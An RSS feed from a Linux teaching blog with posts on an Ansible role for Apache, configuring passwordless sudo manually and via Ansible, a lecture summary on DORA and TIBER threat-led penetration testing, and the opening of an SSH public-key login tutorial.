<rss version="2.0" xmlns:atom="http://www.w3.org/2005/Atom"><channel><title>Tero Karvinen - Learn Free software with me</title><link>https://terokarvinen.com/</link><description>Tero Karvinen - Learn Free software with me</description><language>en-us</language><lastBuildDate>Thu, 11 Feb 2021 15:14:38 +0200</lastBuildDate><image><url>https://terokarvinen.com/img/favicon.png</url><title>Tero Karvinen - Learn Free software with me</title><link>https://terokarvinen.com/</link></image><atom:link href="https://terokarvinen.com/index.xml" rel="self" type="application/rss+xml"/><item><title>Apache installed with Ansible - quick notes</title><link>https://terokarvinen.com/apache-ansible/</link><pubDate>Thu, 09 Apr 2026 16:10:04 +0300</pubDate><guid>https://terokarvinen.com/apache-ansible/</guid><description>
&lt;img src="https://terokarvinen.com/apache-ansible/apache-httpd-logo_hu0274bb063ced1072a70ec8e201c9b197_74947_400x400_fit_box_3.png" width="206" height="400" alt=" " class="imgOne right">
&lt;p>Install Apache 2 web server automatically. Serves a web site on the front page of http://localhost. Pages can be edited as a normal user - without root or sudo.&lt;/p>
&lt;p>Simplified Ansible role. An example of &lt;em>package-file-server&lt;/em> pattern. Just notes, no tutorial.&lt;/p>
&lt;p>Using these short notes require a working Ansible configuration - &lt;a href="https://terokarvinen.com/hello-ansible/">Hello Ansible&lt;/a>.&lt;/p>
&lt;h2 id="package-file-service-pattern">Package-file-service pattern&lt;/h2>
&lt;p>Daemons, like Apache2 web server, are somewhat similar. They are configured with package-file-service pattern. Install the daemon, change configuration by editing files, start it.&lt;/p>
&lt;ul>
&lt;li>package - sudo apt-get install apache2&lt;/li>
&lt;li>files - sudoedit /etc/apache2/...&lt;/li>
&lt;li>service - sudo systemctl restart apache2&lt;/li>
&lt;/ul>
&lt;p>Changes to configuration files only take effect after you kick the daemon. Thus, &lt;em>file&lt;/em> in tasks/main.yml &lt;em>notify&lt;/em> the &lt;em>handler&lt;/em> &amp;quot;restart apache2&amp;quot;.&lt;/p>
&lt;h2 id="tree-of-rolesapache2">tree of roles/apache2/&lt;/h2>
&lt;pre>&lt;code>roles/apache2/ # All files related to &amp;quot;apache2&amp;quot; role
├── files/ # Master copies of files
│   └── example.com.conf
├── handlers/ # restarting services
│   └── main.yml
└── tasks/ # most ansible code
└── main.yml
&lt;/code>&lt;/pre>
&lt;h2 id="tasksmainyml">tasks/main.yml&lt;/h2>
&lt;div class="highlight">&lt;pre tabindex="0" style="background-color:#f0f3f3;-moz-tab-size:4;-o-tab-size:4;tab-size:4;">&lt;code class="language-yaml" data-lang="yaml">&lt;span style="display:flex;">&lt;span>- &lt;span style="color:#309;font-weight:bold">apt&lt;/span>:&lt;span style="color:#bbb">
&lt;/span>&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#bbb"> &lt;/span>&lt;span style="color:#309;font-weight:bold">name&lt;/span>:&lt;span style="color:#bbb"> &lt;/span>apache2&lt;span style="color:#bbb">
&lt;/span>&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#bbb"> &lt;/span>&lt;span style="color:#309;font-weight:bold">state&lt;/span>:&lt;span style="color:#bbb"> &lt;/span>present&lt;span style="color:#bbb">
&lt;/span>&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#bbb">
&lt;/span>&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#bbb">&lt;/span>- &lt;span style="color:#309;font-weight:bold">copy&lt;/span>:&lt;span style="color:#bbb">
&lt;/span>&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#bbb"> &lt;/span>&lt;span style="color:#309;font-weight:bold">dest&lt;/span>:&lt;span style="color:#bbb"> &lt;/span>&lt;span style="color:#c30">&amp;#34;/etc/apache2/sites-available/example.com.conf&amp;#34;&lt;/span>&lt;span style="color:#bbb">
&lt;/span>&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#bbb"> &lt;/span>&lt;span style="color:#309;font-weight:bold">src&lt;/span>:&lt;span style="color:#bbb"> &lt;/span>&lt;span style="color:#c30">&amp;#34;example.com.conf&amp;#34;&lt;/span>&lt;span style="color:#bbb">
&lt;/span>&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#bbb"> &lt;/span>&lt;span style="color:#309;font-weight:bold">owner&lt;/span>:&lt;span style="color:#bbb"> &lt;/span>&lt;span style="color:#c30">&amp;#34;root&amp;#34;&lt;/span>&lt;span style="color:#bbb">
&lt;/span>&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#bbb"> &lt;/span>&lt;span style="color:#309;font-weight:bold">group&lt;/span>:&lt;span style="color:#bbb"> &lt;/span>&lt;span style="color:#c30">&amp;#34;root&amp;#34;&lt;/span>&lt;span style="color:#bbb">
&lt;/span>&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#bbb"> &lt;/span>&lt;span style="color:#309;font-weight:bold">mode&lt;/span>:&lt;span style="color:#bbb"> &lt;/span>&lt;span style="color:#c30">&amp;#34;0644&amp;#34;&lt;/span>&lt;span style="color:#bbb">
&lt;/span>&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#bbb"> &lt;/span>&lt;span style="color:#309;font-weight:bold">notify&lt;/span>:&lt;span style="color:#bbb"> &lt;/span>restart apache2&lt;span style="color:#bbb">
&lt;/span>&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#bbb">
&lt;/span>&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#bbb">&lt;/span>- &lt;span style="color:#309;font-weight:bold">file&lt;/span>:&lt;span style="color:#bbb">
&lt;/span>&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#bbb"> &lt;/span>&lt;span style="color:#309;font-weight:bold">src&lt;/span>:&lt;span style="color:#bbb"> &lt;/span>/etc/apache2/sites-available/example.com.conf&lt;span style="color:#bbb">
&lt;/span>&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#bbb"> &lt;/span>&lt;span style="color:#309;font-weight:bold">dest&lt;/span>:&lt;span style="color:#bbb"> &lt;/span>/etc/apache2/sites-enabled/example.com.conf&lt;span style="color:#bbb">
&lt;/span>&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#bbb"> &lt;/span>&lt;span style="color:#309;font-weight:bold">owner&lt;/span>:&lt;span style="color:#bbb"> &lt;/span>root&lt;span style="color:#bbb">
&lt;/span>&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#bbb"> &lt;/span>&lt;span style="color:#309;font-weight:bold">group&lt;/span>:&lt;span style="color:#bbb"> &lt;/span>root&lt;span style="color:#bbb">
&lt;/span>&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#bbb"> &lt;/span>&lt;span style="color:#309;font-weight:bold">state&lt;/span>:&lt;span style="color:#bbb"> &lt;/span>link&lt;span style="color:#bbb">
&lt;/span>&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#bbb"> &lt;/span>&lt;span style="color:#309;font-weight:bold">notify&lt;/span>:&lt;span style="color:#bbb"> &lt;/span>restart apache2&lt;span style="color:#bbb">
&lt;/span>&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/div>&lt;h2 id="handlersmainyml">handlers/main.yml&lt;/h2>
&lt;div class="highlight">&lt;pre tabindex="0" style="background-color:#f0f3f3;-moz-tab-size:4;-o-tab-size:4;tab-size:4;">&lt;code class="language-yaml" data-lang="yaml">&lt;span style="display:flex;">&lt;span>- &lt;span style="color:#309;font-weight:bold">name&lt;/span>:&lt;span style="color:#bbb"> &lt;/span>restart apache2&lt;span style="color:#bbb">
&lt;/span>&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#bbb"> &lt;/span>&lt;span style="color:#309;font-weight:bold">systemd&lt;/span>:&lt;span style="color:#bbb">
&lt;/span>&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#bbb"> &lt;/span>&lt;span style="color:#309;font-weight:bold">name&lt;/span>:&lt;span style="color:#bbb"> &lt;/span>apache2&lt;span style="color:#bbb">
&lt;/span>&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#bbb"> &lt;/span>&lt;span style="color:#309;font-weight:bold">state&lt;/span>:&lt;span style="color:#bbb"> &lt;/span>restarted&lt;span style="color:#bbb">
&lt;/span>&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/div>&lt;h2 id="filesexamplecomconf">files/example.com.conf&lt;/h2>
&lt;div class="highlight">&lt;pre tabindex="0" style="background-color:#f0f3f3;-moz-tab-size:4;-o-tab-size:4;tab-size:4;">&lt;code class="language-fallback" data-lang="fallback">&lt;span style="display:flex;">&lt;span># Managed file, changes will be overwritten
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&amp;lt;VirtualHost *:80&amp;gt;
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> ServerName example.com
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> DocumentRoot /home/tero/publicsite/
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &amp;lt;Directory /home/tero/publicsite/&amp;gt;
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> require all granted
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &amp;lt;/Directory&amp;gt;
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&amp;lt;/VirtualHost&amp;gt;
&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/div>&lt;h2 id="adminstrivia">Adminstrivia&lt;/h2>
&lt;p>Apache httpd logo is a trademark of The Apache Software Foundation.&lt;/p></description></item><item><title>Passwordless Sudo with Ansible</title><link>https://terokarvinen.com/passwordless-sudo-with-ansible/</link><pubDate>Thu, 02 Apr 2026 16:44:50 +0300</pubDate><guid>https://terokarvinen.com/passwordless-sudo-with-ansible/</guid><description>
&lt;p>Sudo without password, automatically. Short example role for ansible.&lt;/p>
&lt;p>The role&lt;/p>
&lt;ul>
&lt;li>creates a new user in &amp;quot;sudoless&amp;quot; group&lt;/li>
&lt;li>adds a sudoers.d/ NOPASSWD rule for the group&lt;/li>
&lt;/ul>
&lt;h2 id="prerequisites">Prerequisites&lt;/h2>
&lt;p>Applying this example file requires you to have &lt;a href="https://terokarvinen.com/hello-ansible/">Ansible working&lt;/a>.&lt;/p>
&lt;p>Tero's rule #1 for IaC: &lt;em>Manual before auto.&lt;/em>&lt;/p>
&lt;p>So it's a good idea to try creating &lt;a href="https://terokarvinen.com/passwordless-sudo/">passwordless sudo manually&lt;/a> first.&lt;/p>
&lt;p>&lt;em>Draft: This article has commands written from memory. It has not gone trough quality assuarance and testing yet.&lt;/em>&lt;/p>
&lt;h2 id="tree">Tree&lt;/h2>
&lt;pre>&lt;code>$ tree -F
./
├── ansible.cfg
├── hosts.ini
├── roles/
│   ├── antero/
│   │   └── tasks/
│   │   └── main.yml
│   └── world/
│   └── tasks/
│   └── main.yml
└── site.yml
&lt;/code>&lt;/pre>
&lt;h2 id="role---antero">Role - antero&lt;/h2>
&lt;p>cat roles/antero/tasks/main.yml&lt;/p>
&lt;div class="highlight">&lt;pre tabindex="0" style="background-color:#f0f3f3;-moz-tab-size:4;-o-tab-size:4;tab-size:4;">&lt;code class="language-yaml" data-lang="yaml">&lt;span style="display:flex;">&lt;span>- &lt;span style="color:#309;font-weight:bold">group&lt;/span>:&lt;span style="color:#bbb">
&lt;/span>&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#bbb"> &lt;/span>&lt;span style="color:#309;font-weight:bold">name&lt;/span>:&lt;span style="color:#bbb"> &lt;/span>&lt;span style="color:#c30">&amp;#34;sudoless&amp;#34;&lt;/span>&lt;span style="color:#bbb">
&lt;/span>&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#bbb"> &lt;/span>&lt;span style="color:#309;font-weight:bold">state&lt;/span>:&lt;span style="color:#bbb"> &lt;/span>present&lt;span style="color:#bbb">
&lt;/span>&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#bbb">&lt;/span>- &lt;span style="color:#309;font-weight:bold">user&lt;/span>:&lt;span style="color:#bbb">
&lt;/span>&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#bbb"> &lt;/span>&lt;span style="color:#309;font-weight:bold">name&lt;/span>:&lt;span style="color:#bbb"> &lt;/span>&lt;span style="color:#c30">&amp;#34;antero&amp;#34;&lt;/span>&lt;span style="color:#bbb">
&lt;/span>&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#bbb"> &lt;/span>&lt;span style="color:#309;font-weight:bold">state&lt;/span>:&lt;span style="color:#bbb"> &lt;/span>present&lt;span style="color:#bbb">
&lt;/span>&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#bbb"> &lt;/span>&lt;span style="color:#309;font-weight:bold">groups&lt;/span>:&lt;span style="color:#bbb"> &lt;/span>[&lt;span style="color:#c30">&amp;#34;sudoless&amp;#34;&lt;/span>,&lt;span style="color:#bbb"> &lt;/span>&lt;span style="color:#c30">&amp;#34;sudo&amp;#34;&lt;/span>,&lt;span style="color:#bbb"> &lt;/span>&lt;span style="color:#c30">&amp;#34;adm&amp;#34;&lt;/span>]&lt;span style="color:#bbb">
&lt;/span>&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#bbb">&lt;/span>- &lt;span style="color:#309;font-weight:bold">authorized_key&lt;/span>:&lt;span style="color:#bbb">
&lt;/span>&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#bbb"> &lt;/span>&lt;span style="color:#309;font-weight:bold">user&lt;/span>:&lt;span style="color:#bbb"> &lt;/span>&lt;span style="color:#c30">&amp;#34;antero&amp;#34;&lt;/span>&lt;span style="color:#bbb">
&lt;/span>&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#bbb"> &lt;/span>&lt;span style="color:#309;font-weight:bold">key&lt;/span>:&lt;span style="color:#bbb"> &lt;/span>&lt;span style="color:#c30">&amp;#34;ssh-ed25519 U2VlIHlvdSBhdCBUZXJvS2FydmluZW4uY29tIQ== tero@example.com&amp;#34;&lt;/span>&lt;span style="color:#bbb">
&lt;/span>&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#bbb">&lt;/span>- &lt;span style="color:#309;font-weight:bold">copy&lt;/span>:&lt;span style="color:#bbb">
&lt;/span>&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#bbb"> &lt;/span>&lt;span style="color:#309;font-weight:bold">dest&lt;/span>:&lt;span style="color:#bbb"> &lt;/span>&lt;span style="color:#c30">&amp;#34;/etc/sudoers.d/sudoless&amp;#34;&lt;/span>&lt;span style="color:#bbb">
&lt;/span>&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#bbb"> &lt;/span>&lt;span style="color:#309;font-weight:bold">content&lt;/span>:&lt;span style="color:#bbb"> &lt;/span>&lt;span style="color:#c30">&amp;#34;%sudoless ALL = (ALL) NOPASSWD: ALL\n&amp;#34;&lt;/span>&lt;span style="color:#bbb">
&lt;/span>&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#bbb"> &lt;/span>&lt;span style="color:#309;font-weight:bold">owner&lt;/span>:&lt;span style="color:#bbb"> &lt;/span>&lt;span style="color:#c30">&amp;#34;root&amp;#34;&lt;/span>&lt;span style="color:#bbb">
&lt;/span>&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#bbb"> &lt;/span>&lt;span style="color:#309;font-weight:bold">group&lt;/span>:&lt;span style="color:#bbb"> &lt;/span>&lt;span style="color:#c30">&amp;#34;root&amp;#34;&lt;/span>&lt;span style="color:#bbb">
&lt;/span>&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#bbb"> &lt;/span>&lt;span style="color:#309;font-weight:bold">mode&lt;/span>:&lt;span style="color:#bbb"> &lt;/span>&lt;span style="color:#c30">&amp;#34;0644&amp;#34;&lt;/span>&lt;span style="color:#bbb">
&lt;/span>&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/div>&lt;h2 id="first-run---chicken-or-egg">First run - chicken or egg?&lt;/h2>
&lt;p>For the first run, you don't yet have sudo without password.&lt;/p>
&lt;p>Let's make ansible try for sudo rights. Add &amp;quot;become: true&amp;quot; in the correct block in site.yml:&lt;/p>
&lt;div class="highlight">&lt;pre tabindex="0" style="background-color:#f0f3f3;-moz-tab-size:4;-o-tab-size:4;tab-size:4;">&lt;code class="language-yaml" data-lang="yaml">&lt;span style="display:flex;">&lt;span>- &lt;span style="color:#309;font-weight:bold">hosts&lt;/span>:&lt;span style="color:#bbb"> &lt;/span>all&lt;span style="color:#bbb">
&lt;/span>&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#bbb"> &lt;/span>&lt;span style="color:#309;font-weight:bold">become&lt;/span>:&lt;span style="color:#bbb"> &lt;/span>&lt;span style="color:#069;font-weight:bold">true&lt;/span>&lt;span style="color:#bbb">
&lt;/span>&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#bbb"> &lt;/span>&lt;span style="color:#309;font-weight:bold">roles&lt;/span>:&lt;span style="color:#bbb">
&lt;/span>&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#bbb"> &lt;/span>- world&lt;span style="color:#bbb">
&lt;/span>&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#bbb"> &lt;/span>- antero&lt;span style="color:#bbb">
&lt;/span>&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/div>&lt;pre>&lt;code>$ ansible-playbook site.yml
&lt;/code>&lt;/pre>
&lt;p>Now it should complain that sudo needs password. Ansible asks this with -K aka --ask-become-password.&lt;/p>
&lt;pre>&lt;code>$ ansible-playbook site.yml --ask-become-password
&lt;/code>&lt;/pre>
&lt;h2 id="tips">Tips&lt;/h2>
&lt;p>When you got it to work manually, you have your example. Copy it to automation!&lt;/p>
&lt;ul>
&lt;li>Copy paste paths.&lt;/li>
&lt;li>Copy files or file contents.&lt;/li>
&lt;li>Use 'stat' to check for modes (permissions). Do not guess octal permissions, you have to understand them to avoid privesc worries.&lt;/li>
&lt;/ul>
&lt;p>Some IaC programs only reliably understand octal modes (numbers), and only as strings. I would also recommend explicit leading zero meaning no special permissions (no setgid...). So &amp;quot;0644&amp;quot;, in quotes. Maybe it has improved over the years? Who knows.&lt;/p></description></item><item><title>Sudo without password</title><link>https://terokarvinen.com/passwordless-sudo/</link><pubDate>Thu, 02 Apr 2026 16:04:03 +0300</pubDate><guid>https://terokarvinen.com/passwordless-sudo/</guid><description>
&lt;p>Ansible needs root on the slave. One way is to allow 'sudo' without password.&lt;/p>
&lt;p>Summary for gurus (the rest of us can read the article):&lt;/p>
&lt;pre>&lt;code>$ cat /etc/sudoers.d/sudoless
%sudoless ALL = (ALL) NOPASSWD: ALL
&lt;/code>&lt;/pre>
&lt;p>&lt;em>Draft: This article has commands written from memory. It has not gone trough quality assuarance and testing yet.&lt;/em>&lt;/p>
&lt;img src="https://terokarvinen.com/passwordless-sudo/sudo-logo_hu90c7c77f1bb985b8b0dfccb8c62285a4_186853_400x400_fit_box_3.png" width="358" height="400" alt=" " class="imgOne right">
&lt;p>This short tutorial assumes you know the &lt;a href="https://terokarvinen.com/2020/command-line-basics-revisited/">basics of Linux command line&lt;/a> and have &lt;a href="https://terokarvinen.com/ssh-public-key-login-without-password/">installed openssh-server&lt;/a>.&lt;/p>
&lt;h2 id="create-the-new-user">Create the new user&lt;/h2>
&lt;p>Let's create a user and add it to &amp;quot;sudoless&amp;quot; group that we'll set up later. We'll call him antero, a neologism from &amp;quot;Ansible&amp;quot; and &amp;quot;Tero&amp;quot;, yours truly.&lt;/p>
&lt;p>Always use only good passwords. Never use bad passwords, even for a moment. Practice doing it right, don't practice doing it wrong.&lt;/p>
&lt;pre>&lt;code>$ sudo adduser antero
$ sudo groupadd sudoless
$ sudo adduser antero sudoless
&lt;/code>&lt;/pre>
&lt;h2 id="broken-sudo-insurance">Broken sudo insurance&lt;/h2>
&lt;p>Open a new window, ssh to target machine as needed. Then open a root shell using sudo.&lt;/p>
&lt;p>If we break sudo, this might be a way to fix it. Otherwise, broken sudo prevents us from using sudo to fix the broken files.&lt;/p>
&lt;pre>&lt;code>$ sudo -i # just while fiddling with sudoers
&lt;/code>&lt;/pre>
&lt;p>We don't wont to work in the root shell (where the prompt is a hash &amp;quot;#&amp;quot;).&lt;/p>
&lt;p>So leave the root shell window behind and go back to the normal window.&lt;/p>
&lt;h2 id="new-sudoers-rule">New sudoers rule&lt;/h2>
&lt;p>Let's create a sudoers rule that allows members of &amp;quot;sudoless&amp;quot; group use 'sudo' without password.&lt;/p>
&lt;p>Visudo runs our default $EDITOR. But has some checks for obvious errors.&lt;/p>
&lt;p>As usual, we'll use .d/ dirs if available. And luckily, sudoers has /etc/sudoers.d/.&lt;/p>
&lt;pre>&lt;code>$ sudo visudo /etc/sudoers.d/sudoless
&lt;/code>&lt;/pre>
&lt;p>Add our oneliner there&lt;/p>
&lt;pre>&lt;code>%sudoless ALL = (ALL) NOPASSWD: ALL
&lt;/code>&lt;/pre>
&lt;p>What does the sudoers line mean?&lt;/p>
&lt;table>
&lt;thead>
&lt;tr>
&lt;th>Token&lt;/th>
&lt;th>Meaning&lt;/th>
&lt;/tr>
&lt;/thead>
&lt;tbody>
&lt;tr>
&lt;td>%sudoless&lt;/td>
&lt;td>Percent &amp;quot;%&amp;quot; means group&lt;/td>
&lt;/tr>
&lt;tr>
&lt;td>ALL&lt;/td>
&lt;td>All computers&lt;/td>
&lt;/tr>
&lt;tr>
&lt;td>=&lt;/td>
&lt;td>Literal equals &amp;quot;=&amp;quot;, a separator&lt;/td>
&lt;/tr>
&lt;tr>
&lt;td>(ALL)&lt;/td>
&lt;td>Runas: may become any user, including root&lt;/td>
&lt;/tr>
&lt;tr>
&lt;td>NOPASSWD&lt;/td>
&lt;td>Tag: don't prompt for password&lt;/td>
&lt;/tr>
&lt;tr>
&lt;td>:&lt;/td>
&lt;td>Literal colon &amp;quot;:&amp;quot;, a separator&lt;/td>
&lt;/tr>
&lt;tr>
&lt;td>ALL&lt;/td>
&lt;td>All commands permitted&lt;/td>
&lt;/tr>
&lt;/tbody>
&lt;/table>
&lt;p>So it's something like:&lt;/p>
&lt;pre>&lt;code>%group COMPUTERS: (RUNAS) TAG: COMMANDS.
&lt;/code>&lt;/pre>
&lt;h2 id="test">Test&lt;/h2>
&lt;p>&lt;em>not tested == not done&lt;/em>&lt;/p>
&lt;p>New groups are effective only after logout-login. So if you're logged in as &amp;quot;antero&amp;quot;, log out and back.&lt;/p>
&lt;p>If you have recently given 'sudo' commands as &amp;quot;antero&amp;quot;, sudo will remember your credentials for a while. Use 'sudo -k' to forget them.&lt;/p>
&lt;pre>&lt;code>$ ssh antero@localhost
$ sudo -k
$ sudo echo &amp;quot;See you at TeroKarvinen.com&amp;quot;
See you at TeroKarvinen.com
&lt;/code>&lt;/pre>
&lt;p>No password asked? Great! You now have passwordless sudo. You could use it with Ansible.&lt;/p>
&lt;h2 id="adminstrivia">Adminstrivia&lt;/h2>
&lt;p>Sudo logo my Mark Stillman 2019, received under CC-BY-4.0.&lt;/p></description></item><item><title>DORA &amp; Threat Lead Penetration Testing with Marko</title><link>https://terokarvinen.com/buuri-2026-dora-and-threat-lead-penetration-testing/</link><pubDate>Tue, 31 Mar 2026 14:54:33 +0300</pubDate><guid>https://terokarvinen.com/buuri-2026-dora-and-threat-lead-penetration-testing/</guid><description>
&lt;p>Banks are now required to do red teaming exercises. Marko Buuri (Bank of Finland) showed us how TIBER-FI helps to create threat intel based red teaming exercises.&lt;/p>
&lt;p>Marko's visit was part of my &lt;a href="https://terokarvinen.com/tunkeutumistestaus/">Penetration Testing&lt;/a> course. You can &lt;a href="https://terokarvinen.com/newsletter/">join my list&lt;/a> to get invitations to similar events.&lt;/p>
&lt;h2 id="synopsis">Synopsis&lt;/h2>
&lt;img src="https://terokarvinen.com/buuri-2026-dora-and-threat-lead-penetration-testing/mark-buuri-talks-tiber-in-teros-pentest-course_hu09239795106670e281e38133c0de53b3_296907_400x400_fit_box.png" width="400" height="217" alt=" " class="imgOne right padSides">
&lt;p>Cybersecurity red team testing has evolved from underground art to regulated operations in the European financial sector. This lecture explores the requirement for advanced threat-led penetration testing in EU's DORA regulation, and practical guidance on how those projects are organized and delivered according to the TIBER-EU guidance across Europe.&lt;/p>
&lt;h2 id="slides">Slides&lt;/h2>
&lt;p>Buuri 2026: &lt;a href="buuri-2026-dora-and-threat-lead-penetration-testing--teros-pentest-course.pdf">DORA and TLPT testing - Lecture for Haaga-Helia on 31 March 2026&lt;/a> (pdf, 2 MB)&lt;/p>
&lt;h2 id="links">Links&lt;/h2>
&lt;p>&lt;a href="https://eur-lex.europa.eu/eli/reg/2022/2554/oj/eng">DORA (Regulation ... on digital operational resilience for the financial sector)&lt;/a>&lt;/p>
&lt;ul>
&lt;li>Article 26 defines threat-lead penetration testing. &amp;quot;Advanced testing of ICT tools, systems and processes based on TLPT&amp;quot;&lt;/li>
&lt;li>Article 27 defines the requirements for the testers. &amp;quot;Requirements for testers for the carrying out of TLPT&amp;quot;&lt;/li>
&lt;/ul>
&lt;p>Bank of Finland (Suomen Pankki): &lt;a href="https://www.suomenpankki.fi/tiberfi">TIBER-FI and TIBER-EU guidance&lt;/a>&lt;/p>
&lt;ul>
&lt;li>&lt;a href="https://www.suomenpankki.fi/globalassets/bof/en/money-and-payments/the-bank-of-finland-as-catalyst-payments-council/tiber-fi/tiber-fi-2.0-procedures-and-guidelines.pdf">TIBER-FI procedures and guidelines&lt;/a> (pdf, 1 MB)&lt;/li>
&lt;/ul>
&lt;p>Buuri 2026: &lt;a href="https://youtu.be/z6KIEEknKjM?si=7n8cNWynzMrEwdWZ">D26 - Releasing Your Inner TIBER in Regulated Adversary Simulations&lt;/a>. Video, 45 min. Disobey 2026.&lt;/p>
&lt;h2 id="slides-taster">Slides taster&lt;/h2>
&lt;p>You can &lt;a href="buuri-2026-dora-and-threat-lead-penetration-testing--teros-pentest-course.pdf">download the whole deck&lt;/a>.&lt;/p>
&lt;p>&lt;img src="slide-07-buuri-2026-dora-and-threat-lead-penetration-testing--teros-pentest-course.png" alt="">&lt;/p>
&lt;p>&lt;img src="slide-22-buuri-2026-dora-and-threat-lead-penetration-testing--teros-pentest-course.png" alt="">&lt;/p>
&lt;p>&lt;img src="slide-32-buuri-2026-dora-and-threat-lead-penetration-testing--teros-pentest-course.png" alt="">&lt;/p>
&lt;h2 id="bio">Bio&lt;/h2>
&lt;p>Marko Buuri is cyber security adviser in the Bank of Finland (Suomen Pankki). He has over 20 years of in-house and consulting cyber experience. Since 2020 he's been involved in implementing and operating TIBER-FI red team testing framework for the financial sector in Finland.&lt;/p></description></item><item><title>SSH public key - Login without password</title><link>https://terokarvinen.com/ssh-public-key-login-without-password/</link><pubDate>Thu, 26 Mar 2026 14:50:58 +0200</pubDate><guid>https://terokarvinen.com/ssh-public-key-login-without-password/</guid><description>
&lt;p>SSH is the leading solution for securily logging into servers.&lt;/p>
&lt;p>Many products use SSH in the background: git, rsync, ansible...&lt;/p>
&lt;p>Public key authentication is quite convenient. You don't need to type your password for every 'git push' or 'ansible-playbook'. Use correctly, it can also make your server more secure.&lt;/p>
&lt;p>This example is written for Debian 13-trixie.&lt;/p>
&lt;p>&lt;em>Draft: This article has commands written from memory. It has not gone trough quality assuarance and testing yet.&lt;/em>&lt;/p>
&lt;h2 id="install-ssh">Install SSH&lt;/h2>
&lt;p>Install the OpenSSH-server package&lt;/p>
&lt;pre>&lt;code>$ sudo apt-get update
$ sudo apt-get -y install ssh
&lt;/code>&lt;/pre>
&lt;p>Make SSH daemon start on boot (enable) and also start it now (--now)&lt;/p>
&lt;pre>&lt;code>$ sudo systemctl enable --now ssh
&lt;/code>&lt;/pre>
&lt;h3 id="test-ssh">Test SSH&lt;/h3>
&lt;p>Normally, you would say user@host, such as &lt;a href="mailto:tero@example.com">tero@example.com&lt;/a>. Here, we can leave out username, as it's the same on both machines.&lt;/p>
&lt;pre>&lt;code>$ ssh localhost
&lt;/code>&lt;/pre>
&lt;p>With 'w', you can see yourself logged in twice: once on the desktop, once trough ssh.&lt;/p>
&lt;pre>&lt;code>remote$ exit
&lt;/code>&lt;/pre>
&lt;h3 id="automatic-login-with-ssh-public-key">Automatic login with SSH public key&lt;/h3>
&lt;p>Generate a keypair&lt;/p>
&lt;pre>&lt;code>$ ssh-keygen # enter enter enter to accept the defaults
&lt;/code>&lt;/pre>
&lt;p>If you already have a keypair, don't overwrite it. The public key ($HOME/.ssh/id_*.pub) is literally public, you can use the same public key in all hosts. The public key ends with &amp;quot;.pub&amp;quot;.&lt;/p>
&lt;p>If you need the public key for VPS (virtual private server) provider, you can see and copy-paste your keys with 'head $HOME/.ssh/id*.pub'.&lt;/p>
&lt;p>Copy it to hosts where you can already log in.&lt;/p>
